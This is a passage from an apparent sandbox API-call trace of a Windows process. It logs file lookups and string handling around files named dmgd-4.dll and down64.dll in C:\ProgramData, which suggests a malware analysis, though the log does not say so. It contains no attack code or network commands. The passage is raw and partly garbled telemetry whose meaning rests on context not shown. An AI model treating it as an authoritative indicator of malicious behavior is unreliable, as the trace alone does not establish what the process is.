lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0092.155] SysReAllocStringLen (in: pbstr=0x472cd0*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472cd0*="c:\\programdata\\dmgd-4.dll") returned 1 [0092.155] SysReAllocStringLen (in: pbstr=0x472cd4*=0x0, psz="c:", len=0x2 | out: pbstr=0x472cd4*="c:") returned 1 [0092.155] SysReAllocStringLen (in: pbstr=0x472cf4*=0x0, psz="programdata", len=0xb | out: pbstr=0x472cf4*="programdata") returned 1 [0092.155] SysReAllocStringLen (in: pbstr=0x472d14*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d14*="dmgd-4.dll") returned 1 [0092.155] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.156] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.156] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.156] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.156] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.156] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.156] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.156] GetLastError () returned 0x12 [0092.156] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.156] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.156] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.156] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef0c*="dmgd-4.dll") returned 1 [0092.157] FindFirstFileW (in: lpFileName="c:\\ProgramData\\dmgd-4.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.157] GetLastError () returned 0x2 [0092.157] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef04*="dmgd-4.dll") returned 1 [0092.157] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\dmgd-4.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\dmgd-4.dll") returned 1 [0092.157] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll", psz="c:\\ProgramData\\dmgd-4.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll\\") returned 1 [0092.157] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\dmgd-4.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\dmgd-4.dll\\") returned 1 [0092.157] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll\\", psz="c:\\ProgramData\\dmgd-4.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\dmgd-4.dll") returned 1 [0092.158] CharLowerBuffW (in: lpsz="c:\\ProgramData\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0092.158] SysReAllocStringLen (in: pbstr=0x472cd0*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472cd0*="c:\\programdata\\dmgd-4.dll") returned 1 [0092.158] SysReAllocStringLen (in: pbstr=0x472cd4*=0x0, psz="c:", len=0x2 | out: pbstr=0x472cd4*="c:") returned 1 [0092.158] SysReAllocStringLen (in: pbstr=0x472cf4*=0x0, psz="programdata", len=0xb | out: pbstr=0x472cf4*="programdata") returned 1 [0092.158] SysReAllocStringLen (in: pbstr=0x472d14*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d14*="dmgd-4.dll") returned 1 [0092.158] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.158] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.159] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0092.159] SysReAllocStringLen (in: pbstr=0x472d24*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472d24*="c:\\programdata\\dmgd-4.dll") returned 1 [0092.159] SysReAllocStringLen (in: pbstr=0x472d28*=0x0, psz="c:", len=0x2 | out: pbstr=0x472d28*="c:") returned 1 [0092.159] SysReAllocStringLen (in: pbstr=0x472d48*=0x0, psz="programdata", len=0xb | out: pbstr=0x472d48*="programdata") returned 1 [0092.159] SysReAllocStringLen (in: pbstr=0x472d68*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d68*="dmgd-4.dll") returned 1 [0092.159] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.159] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.160] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.160] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.160] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.160] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.160] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.160] GetLastError () returned 0x12 [0092.160] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.160] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.160] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.160] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef0c*="dmgd-4.dll") returned 1 [0092.160] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\dmgd-4.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.160] GetLastError () returned 0x2 [0092.160] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x28ef00*="dmgd-4.dll") returned 1 [0092.161] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\dmgd-4.dll") returned 1 [0092.161] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll", psz="c:\\PROGRA~3\\dmgd-4.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll\\") returned 1 [0092.161] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\dmgd-4.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\dmgd-4.dll\\") returned 1 [0092.161] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll\\", psz="c:\\PROGRA~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\dmgd-4.dll") returned 1 [0092.161] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\dmgd-4.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\dmgd-4.dll") returned 0x16 [0092.161] SysReAllocStringLen (in: pbstr=0x472d24*=0x0, psz="c:\\progra~3\\dmgd-4.dll", len=0x16 | out: pbstr=0x472d24*="c:\\progra~3\\dmgd-4.dll") returned 1 [0092.162] SysReAllocStringLen (in: pbstr=0x472d28*=0x0, psz="c:", len=0x2 | out: pbstr=0x472d28*="c:") returned 1 [0092.162] SysReAllocStringLen (in: pbstr=0x472d48*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472d48*="progra~3") returned 1 [0092.162] SysReAllocStringLen (in: pbstr=0x472d68*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472d68*="dmgd-4.dll") returned 1 [0092.162] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0092.162] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472d90, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBCE7FD.TMP⛜vよt☘E\x18") returned 12 [0092.162] CharLowerBuffW (in: lpsz="EVBCE7FD.TMP", cchLength=0xc | out: lpsz="evbce7fd.tmp") returned 0xc [0092.163] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.163] FindFirstFileW (in: lpFileName="c:\\programdata\\evbce7fd.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A臬uA((")) returned 0xffffffff [0092.163] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.163] SysReAllocStringLen (in: pbstr=0x28f258*="evbce7fd.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f1cc*="dmgd-4.dll") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0092.163] SysReAllocStringLen (in: pbstr=0x472c10*=0x0, psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x472c10*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0092.163] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 0x2f [0092.163] SysReAllocStringLen (in: pbstr=0x472da8*=0x0, psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x472da8*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0092.164] SysReAllocStringLen (in: pbstr=0x472dcc*=0x0, psz="device", len=0x6 | out: pbstr=0x472dcc*="device") returned 1 [0092.164] SysReAllocStringLen (in: pbstr=0x472dec*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472dec*="harddiskvolume1") returned 1 [0092.164] SysReAllocStringLen (in: pbstr=0x472df8*=0x0, psz="programdata", len=0xb | out: pbstr=0x472df8*="programdata") returned 1 [0092.164] SysReAllocStringLen (in: pbstr=0x472e04*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472e04*="dmgd-4.dll") returned 1 [0092.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.165] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f1c0*="dmgd-4.dll") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll") returned 1 [0092.165] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 1 [0092.165] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 0x2c [0092.165] SysReAllocStringLen (in: pbstr=0x472e14*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", len=0x2c | out: pbstr=0x472e14*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 1 [0092.166] SysReAllocStringLen (in: pbstr=0x472e38*=0x0, psz="device", len=0x6 | out: pbstr=0x472e38*="device") returned 1 [0092.166] SysReAllocStringLen (in: pbstr=0x472e58*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472e58*="harddiskvolume1") returned 1 [0092.166] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.166] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.166] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dmgd-4.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmgd-4.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.166] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.166] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.166] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.167] CharLowerBuffW (in: lpsz="down64.dll", cchLength=0xa | out: lpsz="down64.dll") returned 0xa [0092.167] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0092.167] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0092.167] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.168] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.168] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.168] GetLastError () returned 0x12 [0092.168] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.168] FindFirstFileW (in: lpFileName="c:\\ProgramData\\down64.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.168] GetLastError () returned 0x2 [0092.168] CharLowerBuffW (in: lpsz="c:\\ProgramData\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0092.169] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.169] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0092.220] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.221] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x765660 [0092.221] FindNextFileW (in: hFindFile=0x765660, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.221] GetLastError () returned 0x12 [0092.221] FindClose (in: hFindFile=0x765660 | out: hFindFile=0x765660) returned 1 [0092.221] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\down64.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.221] GetLastError () returned 0x2 [0092.222] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\down64.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\down64.dll") returned 0x16 [0092.222] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x460cb4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: 